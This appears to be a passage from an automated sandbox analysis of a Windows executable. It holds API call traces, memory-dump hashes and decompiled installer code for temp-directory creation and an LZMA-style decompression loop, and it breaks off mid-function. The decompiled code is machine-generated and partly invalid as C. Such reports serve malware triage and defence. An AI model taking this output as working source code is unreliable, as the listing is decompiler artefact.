                                                                                                          • Part of subcall function 6FC71A98: GlobalFree.KERNEL32 ref: 6FC71D0E
                                                                                                          • Part of subcall function 6FC71A98: GlobalFree.KERNEL32 ref: 6FC71D13
                                                                                                        • GlobalFree.KERNEL32 ref: 6FC71786
                                                                                                        • FreeLibrary.KERNEL32(?), ref: 6FC71809
                                                                                                        • GlobalFree.KERNEL32 ref: 6FC7182E
                                                                                                          • Part of subcall function 6FC722AF: GlobalAlloc.KERNEL32(00000040,?), ref: 6FC722E0
                                                                                                          • Part of subcall function 6FC726B2: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,6FC71757,00000000), ref: 6FC72782
                                                                                                          • Part of subcall function 6FC7156B: wsprintfA.USER32 ref: 6FC71599
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.659624848.000000006FC71000.00000020.00020000.sdmp, Offset: 6FC70000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.659611892.000000006FC70000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.659642183.000000006FC73000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.659649861.000000006FC75000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: Global$Free$Alloc$Librarywsprintf
                                                                                                        • String ID:
                                                                                                        • API String ID: 3962662361-3916222277
                                                                                                        • Opcode ID: 8485f3fb35e760baffbea0081af0f1189c51111f9f57327d1cd522107066cace
                                                                                                        • Instruction ID: d5af0c79a232c208172127fd87aac09c623e01ee779e2fa7b3d58fc37ae77bfe
                                                                                                        • Opcode Fuzzy Hash: 8485f3fb35e760baffbea0081af0f1189c51111f9f57327d1cd522107066cace
                                                                                                        • Instruction Fuzzy Hash: E6417E715003059ADB209F7C8DE5BDA77ECBF05328F048466EA159A0C2FF74A049CBA0
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 84%
                                                                                                        			E00403208(void* __eflags) {
                                                                                                        				void* _t2;
                                                                                                        				void* _t5;
                                                                                                        				CHAR* _t6;
                                                                                                        
                                                                                                        				_t6 = "C:\\Users\\jones\\AppData\\Local\\Temp\\";
                                                                                                        				E00405DC8(_t6);
                                                                                                        				_t2 = E004056C6(_t6);
                                                                                                        				if(_t2 != 0) {
                                                                                                        					E00405659(_t6);
                                                                                                        					CreateDirectoryA(_t6, 0); // executed
                                                                                                        					_t5 = E0040586C("1033", _t6); // executed
                                                                                                        					return _t5;
                                                                                                        				} else {
                                                                                                        					return _t2;
                                                                                                        				}
                                                                                                        			}






                                                                                                        0x00403209
                                                                                                        0x0040320f
                                                                                                        0x00403215
                                                                                                        0x0040321c
                                                                                                        0x00403221
                                                                                                        0x00403229
                                                                                                        0x00403235
                                                                                                        0x0040323b
                                                                                                        0x0040321f
                                                                                                        0x0040321f
                                                                                                        0x0040321f

                                                                                                        APIs
                                                                                                          • Part of subcall function 00405DC8: CharNextA.USER32(?,*?|<>/":,00000000,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\i6xFULh8J5.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E20
                                                                                                          • Part of subcall function 00405DC8: CharNextA.USER32(?,?,?,00000000), ref: 00405E2D
                                                                                                          • Part of subcall function 00405DC8: CharNextA.USER32(?,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\i6xFULh8J5.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E32
                                                                                                          • Part of subcall function 00405DC8: CharPrevA.USER32(?,?,"C:\Users\user\Desktop\i6xFULh8J5.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E42
                                                                                                        • CreateDirectoryA.KERNELBASE(C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00403229
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: Char$Next$CreateDirectoryPrev
                                                                                                        • String ID: 1033$C:\Users\user\AppData\Local\Temp\
                                                                                                        • API String ID: 4115351271-517883005
                                                                                                        • Opcode ID: 6efbcda31fdcc81e1bc9b7455ac61b895c89039b7b6caaf7bbff9198608db7ec
                                                                                                        • Instruction ID: 28437e5e833f6c5712a3d87292ca06883de7807d6adf700678bf42288e0e849f
                                                                                                        • Opcode Fuzzy Hash: 6efbcda31fdcc81e1bc9b7455ac61b895c89039b7b6caaf7bbff9198608db7ec
                                                                                                        • Instruction Fuzzy Hash: 11D0C922656E3032C651363A3C0AFDF091C8F5271AF55847BF908B40D64B6C5A5259EF
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 99%
                                                                                                        			E00406566() {
                                                                                                        				signed int _t530;
                                                                                                        				void _t537;
                                                                                                        				signed int _t538;
                                                                                                        				signed int _t539;
                                                                                                        				unsigned short _t569;
                                                                                                        				signed int _t579;
                                                                                                        				signed int _t607;
                                                                                                        				void* _t627;
                                                                                                        				signed int _t628;
                                                                                                        				signed int _t635;
                                                                                                        				signed int* _t643;
                                                                                                        				void* _t644;
                                                                                                        
                                                                                                        				L0:
                                                                                                        				while(1) {
                                                                                                        					L0:
                                                                                                        					_t530 =  *(_t644 - 0x30);
                                                                                                        					if(_t530 >= 4) {
                                                                                                        					}
                                                                                                        					 *(_t644 - 0x40) = 6;
                                                                                                        					 *(_t644 - 0x7c) = 0x19;
                                                                                                        					 *((intOrPtr*)(_t644 - 0x58)) = (_t530 << 7) +  *(_t644 - 4) + 0x360;
                                                                                                        					while(1) {
                                                                                                        						L145:
                                                                                                        						 *(_t644 - 0x50) = 1;
                                                                                                        						 *(_t644 - 0x48) =  *(_t644 - 0x40);
                                                                                                        						while(1) {
                                                                                                        							L149:
                                                                                                        							if( *(_t644 - 0x48) <= 0) {
                                                                                                        								goto L155;
                                                                                                        							}
                                                                                                        							L150:
                                                                                                        							_t627 =  *(_t644 - 0x50) +  *(_t644 - 0x50);
                                                                                                        							_t643 = _t627 +  *((intOrPtr*)(_t644 - 0x58));
                                                                                                        							 *(_t644 - 0x54) = _t643;
                                                                                                        							_t569 =  *_t643;
                                                                                                        							_t635 = _t569 & 0x0000ffff;
                                                                                                        							_t607 = ( *(_t644 - 0x10) >> 0xb) * _t635;
                                                                                                        							if( *(_t644 - 0xc) >= _t607) {
                                                                                                        								 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t607;
                                                                                                        								 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t607;
                                                                                                        								_t628 = _t627 + 1;
                                                                                                        								 *_t643 = _t569 - (_t569 >> 5);
                                                                                                        								 *(_t644 - 0x50) = _t628;
                                                                                                        							} else {
                                                                                                        								 *(_t644 - 0x10) = _t607;
                                                                                                        								 *(_t644 - 0x50) =  *(_t644 - 0x50) << 1;
                                                                                                        								 *_t643 = (0x800 - _t635 >> 5) + _t569;
                                                                                                        							}
                                                                                                        							if( *(_t644 - 0x10) >= 0x1000000) {
                                                                                                        								L148:
                                                                                                        								_t487 = _t644 - 0x48;
                                                                                                        								 *_t487 =  *(_t644 - 0x48) - 1;
                                                                                                        								L149:
                                                                                                        								if( *(_t644 - 0x48) <= 0) {
                                                                                                        									goto L155;
                                                                                                        								}
                                                                                                        								goto L150;
                                                                                                        							} else {
                                                                                                        								L154:
                                                                                                        								L146:
                                                                                                        								if( *(_t644 - 0x6c) == 0) {
                                                                                                        									L169:
                                                                                                        									 *(_t644 - 0x88) = 0x18;
                                                                                                        									L170:
                                                                                                        									_t579 = 0x22;
                                                                                                        									memcpy( *(_t644 - 0x90), _t644 - 0x88, _t579 << 2);
                                                                                                        									_t539 = 0;
                                                                                                        									L172:
                                                                                                        									return _t539;
                                                                                                        								}
                                                                                                        								L147:
                                                                                                        								 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
                                                                                                        								 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
                                                                                                        								_t484 = _t644 - 0x70;
                                                                                                        								 *_t484 =  &(( *(_t644 - 0x70))[1]);
                                                                                                        								 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
                                                                                                        								goto L148;
                                                                                                        							}
                                                                                                        							L155:
                                                                                                        							_t537 =  *(_t644 - 0x7c);
                                                                                                        							 *((intOrPtr*)(_t644 - 0x44)) =  *(_t644 - 0x50) - (1 <<  *(_t644 - 0x40));
                                                                                                        							while(1) {
                                                                                                        								L140:
                                                                                                        								 *(_t644 - 0x88) = _t537;
                                                                                                        								while(1) {
                                                                                                        									L1:
                                                                                                        									_t538 =  *(_t644 - 0x88);
                                                                                                        									if(_t538 > 0x1c) {
                                                                                                        										break;
                                                                                                        									}
                                                                                                        									L2:
                                                                                                        									switch( *((intOrPtr*)(_t538 * 4 +  &M004069D4))) {
                                                                                                        										case 0:
                                                                                                        											L3:
                                                                                                        											if( *(_t644 - 0x6c) == 0) {
                                                                                                        												goto L170;
                                                                                                        											}
                                                                                                        											L4:
                                                                                                        											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
                                                                                                        											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
                                                                                                        											_t538 =  *( *(_t644 - 0x70));
                                                                                                        											if(_t538 > 0xe1) {
                                                                                                        												goto L171;
                                                                                                        											}
                                                                                                        											L5:
                                                                                                        											_t542 = _t538 & 0x000000ff;
                                                                                                        											_push(0x2d);
                                                                                                        											asm("cdq");
                                                                                                        											_pop(_t581);
                                                                                                        											_push(9);
                                                                                                        											_pop(_t582);
                                                                                                        											_t638 = _t542 / _t581;
                                                                                                        											_t544 = _t542 % _t581 & 0x000000ff;
                                                                                                        											asm("cdq");
                                                                                                        											_t633 = _t544 % _t582 & 0x000000ff;
                                                                                                        											 *(_t644 - 0x3c) = _t633;
                                                                                                        											 *(_t644 - 0x1c) = (1 << _t638) - 1;
                                                                                                        											 *((intOrPtr*)(_t644 - 0x18)) = (1 << _t544 / _t582) - 1;
                                                                                                        											_t641 = (0x300 << _t633 + _t638) + 0x736;
                                                                                                        											if(0x600 ==  *((intOrPtr*)(_t644 - 0x78))) {
                                                                                                        												L10:
                                                                                                        												if(_t641 == 0) {
                                                                                                        													L12:
                                                                                                        													 *(_t644 - 0x48) =  *(_t644 - 0x48) & 0x00000000;
                                                                                                        													 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
                                                                                                        													goto L15;
                                                                                                        												} else {
                                                                                                        													goto L11;
                                                                                                        												}
                                                                                                        												do {
                                                                                                        													L11:
                                                                                                        													_t641 = _t641 - 1;
                                                                                                        													 *((short*)( *(_t644 - 4) + _t641 * 2)) = 0x400;
                                                                                                        												} while (_t641 != 0);
                                                                                                        												goto L12;
                                                                                                        											}
                                                                                                        											L6:
                                                                                                        											if( *(_t644 - 4) != 0) {
                                                                                                        												GlobalFree( *(_t644 - 4));
                                                                                                        											}
                                                                                                        											_t538 = GlobalAlloc(0x40, 0x600); // executed
                                                                                                        											 *(_t644 - 4) = _t538;
                                                                                                        											if(_t538 == 0) {
                                                                                                        												goto L171;
                                                                                                        											} else {
                                                                                                        												 *((intOrPtr*)(_t644 - 0x78)) = 0x600;
                                                                                                        												goto L10;
                                                                                                        											}
                                                                                                        										case 1:
                                                                                                        											L13:
                                                                                                        											__eflags =  *(_t644 - 0x6c);
                                                                                                        											if( *(_t644 - 0x6c) == 0) {
                                                                                                        												L157:
                                                                                                        												 *(_t644 - 0x88) = 1;
                                                                                                        												goto L170;
                                                                                                        											}
                                                                                                        											L14:
                                                                                                        											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
                                                                                                        											 *(_t644 - 0x40) =  *(_t644 - 0x40) | ( *( *(_t644 - 0x70)) & 0x000000ff) <<  *(_t644 - 0x48) << 0x00000003;
                                                                                                        											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
                                                                                                        											_t45 = _t644 - 0x48;
                                                                                                        											 *_t45 =  *(_t644 - 0x48) + 1;
                                                                                                        											__eflags =  *_t45;
                                                                                                        											L15:
                                                                                                        											if( *(_t644 - 0x48) < 4) {
                                                                                                        												goto L13;
                                                                                                        											}
                                                                                                        											L16:
                                                                                                        											_t550 =  *(_t644 - 0x40);
                                                                                                        											if(_t550 ==  *(_t644 - 0x74)) {
                                                                                                        												L20:
                                                                                                        												 *(_t644 - 0x48) = 5;
                                                                                                        												 *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) =  *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) & 0x00000000;
                                                                                                        												goto L23;
                                                                                                        											}
                                                                                                        											L17:
                                                                                                        											 *(_t644 - 0x74) = _t550;
                                                                                                        											if( *(_t644 - 8) != 0) {
                                                                                                        												GlobalFree( *(_t644 - 8));
                                                                                                        											}
                                                                                                        											_t538 = GlobalAlloc(0x40,  *(_t644 - 0x40)); // executed
                                                                                                        											 *(_t644 - 8) = _t538;
                                                                                                        											if(_t538 == 0) {
                                                                                                        												goto L171;
                                                                                                        											} else {
                                                                                                        												goto L20;
                                                                                                        											}
                                                                                                        										case 2:
                                                                                                        											L24:
                                                                                                        											_t557 =  *(_t644 - 0x60) &  *(_t644 - 0x1c);
                                                                                                        											 *(_t644 - 0x84) = 6;
                                                                                                        											 *(_t644 - 0x4c) = _t557;
                                                                                                        											_t642 =  *(_t644 - 4) + (( *(_t644 - 0x38) << 4) + _t557) * 2;
                                                                                                        											goto L132;
                                                                                                        										case 3:
                                                                                                        											L21:
                                                                                                        											__eflags =  *(_t644 - 0x6c);
                                                                                                        											if( *(_t644 - 0x6c) == 0) {
                                                                                                        												L158:
                                                                                                        												 *(_t644 - 0x88) = 3;
                                                                                                        												goto L170;
                                                                                                        											}
                                                                                                        											L22:
                                                                                                        											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
                                                                                                        											_t67 = _t644 - 0x70;
                                                                                                        											 *_t67 =  &(( *(_t644 - 0x70))[1]);
                                                                                                        											__eflags =  *_t67;
                                                                                                        											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
                                                                                                        											L23:
                                                                                                        											 *(_t644 - 0x48) =  *(_t644 - 0x48) - 1;
                                                                                                        											if( *(_t644 - 0x48) != 0) {
                                                                                                        												goto L21;
                                                                                                        											}
                                                                                                        											goto L24;
                                                                                                        										case 4:
                                                                                                        											L133:
                                                                                                        											_t559 =  *_t642;
                                                                                                        											_t626 = _t559 & 0x0000ffff;
                                                                                                        											_t596 = ( *(_t644 - 0x10) >> 0xb) * _t626;
                                                                                                        											if( *(_t644 - 0xc) >= _t596) {
                                                                                                        												 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t596;
                                                                                                        												 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t596;
                                                                                                        												 *(_t644 - 0x40) = 1;
                                                                                                        												_t560 = _t559 - (_t559 >> 5);
                                                                                                        												__eflags = _t560;
                                                                                                        												 *_t642 = _t560;
                                                                                                        											} else {
                                                                                                        												 *(_t644 - 0x10) = _t596;
                                                                                                        												 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
                                                                                                        												 *_t642 = (0x800 - _t626 >> 5) + _t559;
                                                                                                        											}
                                                                                                        											if( *(_t644 - 0x10) >= 0x1000000) {
                                                                                                        												goto L139;
                                                                                                        											} else {
                                                                                                        												goto L137;
                                                                                                        											}
                                                                                                        										case 5:
                                                                                                        											L137:
                                                                                                        											if( *(_t644 - 0x6c) == 0) {
                                                                                                        												L168:
                                                                                                        												 *(_t644 - 0x88) = 5;
                                                                                                        												goto L170;
                                                                                                        											}
                                                                                                        											L138:
                                                                                                        											 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
                                                                                                        											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
                                                                                                        											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
                                                                                                        											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
                                                                                                        											L139:
                                                                                                        											_t537 =  *(_t644 - 0x84);
                                                                                                        											L140:
                                                                                                        											 *(_t644 - 0x88) = _t537;
                                                                                                        											goto L1;
                                                                                                        										case 6:
                                                                                                        											L25:
                                                                                                        											__edx = 0;
                                                                                                        											__eflags =  *(__ebp - 0x40);
                                                                                                        											if( *(__ebp - 0x40) != 0) {
                                                                                                        												L36:
                                                                                                        												__eax =  *(__ebp - 4);
                                                                                                        												__ecx =  *(__ebp - 0x38);
                                                                                                        												 *(__ebp - 0x34) = 1;
                                                                                                        												 *(__ebp - 0x84) = 7;
                                                                                                        												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
                                                                                                        												goto L132;
                                                                                                        											}
                                                                                                        											L26:
                                                                                                        											__eax =  *(__ebp - 0x5c) & 0x000000ff;
                                                                                                        											__esi =  *(__ebp - 0x60);
                                                                                                        											__cl = 8;
                                                                                                        											__cl = 8 -  *(__ebp - 0x3c);
                                                                                                        											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
                                                                                                        											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
                                                                                                        											__ecx =  *(__ebp - 0x3c);
                                                                                                        											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
                                                                                                        											__ecx =  *(__ebp - 4);
                                                                                                        											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
                                                                                                        											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
                                                                                                        											__eflags =  *(__ebp - 0x38) - 4;
                                                                                                        											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                                                                        											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                                                                        											if( *(__ebp - 0x38) >= 4) {
                                                                                                        												__eflags =  *(__ebp - 0x38) - 0xa;
                                                                                                        												if( *(__ebp - 0x38) >= 0xa) {
                                                                                                        													_t98 = __ebp - 0x38;
                                                                                                        													 *_t98 =  *(__ebp - 0x38) - 6;
                                                                                                        													__eflags =  *_t98;
                                                                                                        												} else {
                                                                                                        													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
                                                                                                        												}
                                                                                                        											} else {
                                                                                                        												 *(__ebp - 0x38) = 0;
                                                                                                        											}
                                                                                                        											__eflags =  *(__ebp - 0x34) - __edx;
                                                                                                        											if( *(__ebp - 0x34) == __edx) {
                                                                                                        												L35:
                                                                                                        												__ebx = 0;
                                                                                                        												__ebx = 1;
                                                                                                        												goto L61;
                                                                                                        											} else {
                                                                                                        												L32:
                                                                                                        												__eax =  *(__ebp - 0x14);
                                                                                                        												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                                                                        												__eflags = __eax -  *(__ebp - 0x74);
                                                                                                        												if(__eax >=  *(__ebp - 0x74)) {
                                                                                                        													__eax = __eax +  *(__ebp - 0x74);
                                                                                                        													__eflags = __eax;
                                                                                                        												}
                                                                                                        												__ecx =  *(__ebp - 8);
                                                                                                        												__ebx = 0;
                                                                                                        												__ebx = 1;
                                                                                                        												__al =  *((intOrPtr*)(__eax + __ecx));
                                                                                                        												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
                                                                                                        												goto L41;
                                                                                                        											}
                                                                                                        										case 7:
                                                                                                        											L66:
                                                                                                        											__eflags =  *(__ebp - 0x40) - 1;
                                                                                                        											if( *(__ebp - 0x40) != 1) {
                                                                                                        												L68:
                                                                                                        												__eax =  *(__ebp - 0x24);
                                                                                                        												 *(__ebp - 0x80) = 0x16;
                                                                                                        												 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                                                                        												__eax =  *(__ebp - 0x28);
                                                                                                        												 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                                                                        												__eax =  *(__ebp - 0x2c);
                                                                                                        												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                                                                        												__eax = 0;
                                                                                                        												__eflags =  *(__ebp - 0x38) - 7;
                                                                                                        												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                                                                        												__al = __al & 0x000000fd;
                                                                                                        												__eax = (__eflags >= 0) - 1 + 0xa;
                                                                                                        												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
                                                                                                        												__eax =  *(__ebp - 4);
                                                                                                        												__eax =  *(__ebp - 4) + 0x664;
                                                                                                        												__eflags = __eax;
                                                                                                        												 *(__ebp - 0x58) = __eax;
                                                                                                        												goto L69;
                                                                                                        											}
                                                                                                        											L67:
                                                                                                        											__eax =  *(__ebp - 4);
                                                                                                        											__ecx =  *(__ebp - 0x38);
                                                                                                        											 *(__ebp - 0x84) = 8;
                                                                                                        											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
                                                                                                        											goto L132;
                                                                                                        										case 8:
                                                                                                        											L70:
                                                                                                        											__eflags =  *(__ebp - 0x40);
                                                                                                        											if( *(__ebp - 0x40) != 0) {
                                                                                                        												__eax =  *(__ebp - 4);
                                                                                                        												__ecx =  *(__ebp - 0x38);
                                                                                                        												 *(__ebp - 0x84) = 0xa;
                                                                                                        												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
                                                                                                        											} else {
                                                                                                        												__eax =  *(__ebp - 0x38);
                                                                                                        												__ecx =  *(__ebp - 4);
                                                                                                        												__eax =  *(__ebp - 0x38) + 0xf;
                                                                                                        												 *(__ebp - 0x84) = 9;
                                                                                                        												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
                                                                                                        												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
                                                                                                        											}
                                                                                                        											goto L132;
                                                                                                        										case 9:
                                                                                                        											L73:
                                                                                                        											__eflags =  *(__ebp - 0x40);
                                                                                                        											if( *(__ebp - 0x40) != 0) {
                                                                                                        												goto L90;
                                                                                                        											}
                                                                                                        											L74:
                                                                                                        											__eflags =  *(__ebp - 0x60);
                                                                                                        											if( *(__ebp - 0x60) == 0) {
                                                                                                        												goto L171;
                                                                                                        											}
                                                                                                        											L75:
                                                                                                        											__eax = 0;
                                                                                                        											__eflags =  *(__ebp - 0x38) - 7;
                                                                                                        											_t259 =  *(__ebp - 0x38) - 7 >= 0;
                                                                                                        											__eflags = _t259;
                                                                                                        											0 | _t259 = _t259 + _t259 + 9;
                                                                                                        											 *(__ebp - 0x38) = _t259 + _t259 + 9;
                                                                                                        											goto L76;
                                                                                                        										case 0xa:
                                                                                                        											L82:
                                                                                                        											__eflags =  *(__ebp - 0x40);
                                                                                                        											if( *(__ebp - 0x40) != 0) {
                                                                                                        												L84:
                                                                                                        												__eax =  *(__ebp - 4);
                                                                                                        												__ecx =  *(__ebp - 0x38);
                                                                                                        												 *(__ebp - 0x84) = 0xb;
                                                                                                        												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
                                                                                                        												goto L132;
                                                                                                        											}
                                                                                                        											L83:
                                                                                                        											__eax =  *(__ebp - 0x28);
                                                                                                        											goto L89;
                                                                                                        										case 0xb:
                                                                                                        											L85:
                                                                                                        											__eflags =  *(__ebp - 0x40);
                                                                                                        											if( *(__ebp - 0x40) != 0) {
                                                                                                        												__ecx =  *(__ebp - 0x24);
                                                                                                        												__eax =  *(__ebp - 0x20);
                                                                                                        												 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                                                                        											} else {
                                                                                                        												__eax =  *(__ebp - 0x24);
                                                                                                        											}
                                                                                                        											__ecx =  *(__ebp - 0x28);
                                                                                                        											 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                                                                        											L89:
                                                                                                        											__ecx =  *(__ebp - 0x2c);
                                                                                                        											 *(__ebp - 0x2c) = __eax;
                                                                                                        											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                                                                        											L90:
                                                                                                        											__eax =  *(__ebp - 4);
                                                                                                        											 *(__ebp - 0x80) = 0x15;
                                                                                                        											__eax =  *(__ebp - 4) + 0xa68;
                                                                                                        											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
                                                                                                        											goto L69;
                                                                                                        										case 0xc:
                                                                                                        											L99:
                                                                                                        											__eflags =  *(__ebp - 0x6c);
                                                                                                        											if( *(__ebp - 0x6c) == 0) {
                                                                                                        												L164:
                                                                                                        												 *(__ebp - 0x88) = 0xc;
                                                                                                        												goto L170;
                                                                                                        											}
                                                                                                        											L100:
                                                                                                        											__ecx =  *(__ebp - 0x70);
                                                                                                        											__eax =  *(__ebp - 0xc);
                                                                                                        											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                                        											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											_t334 = __ebp - 0x70;
                                                                                                        											 *_t334 =  *(__ebp - 0x70) + 1;
                                                                                                        											__eflags =  *_t334;
                                                                                                        											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											__eax =  *(__ebp - 0x2c);
                                                                                                        											goto L101;
                                                                                                        										case 0xd:
                                                                                                        											L37:
                                                                                                        											__eflags =  *(__ebp - 0x6c);
                                                                                                        											if( *(__ebp - 0x6c) == 0) {
                                                                                                        												L159:
                                                                                                        												 *(__ebp - 0x88) = 0xd;
                                                                                                        												goto L170;
                                                                                                        											}
                                                                                                        											L38:
                                                                                                        											__ecx =  *(__ebp - 0x70);
                                                                                                        											__eax =  *(__ebp - 0xc);
                                                                                                        											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                                        											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											_t122 = __ebp - 0x70;
                                                                                                        											 *_t122 =  *(__ebp - 0x70) + 1;
                                                                                                        											__eflags =  *_t122;
                                                                                                        											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											L39:
                                                                                                        											__eax =  *(__ebp - 0x40);
                                                                                                        											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                                                                                        											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
                                                                                                        												goto L48;
                                                                                                        											}
                                                                                                        											L40:
                                                                                                        											__eflags = __ebx - 0x100;
                                                                                                        											if(__ebx >= 0x100) {
                                                                                                        												goto L54;
                                                                                                        											}
                                                                                                        											L41:
                                                                                                        											__eax =  *(__ebp - 0x5b) & 0x000000ff;
                                                                                                        											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
                                                                                                        											__ecx =  *(__ebp - 0x58);
                                                                                                        											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
                                                                                                        											 *(__ebp - 0x48) = __eax;
                                                                                                        											__eax = __eax + 1;
                                                                                                        											__eax = __eax << 8;
                                                                                                        											__eax = __eax + __ebx;
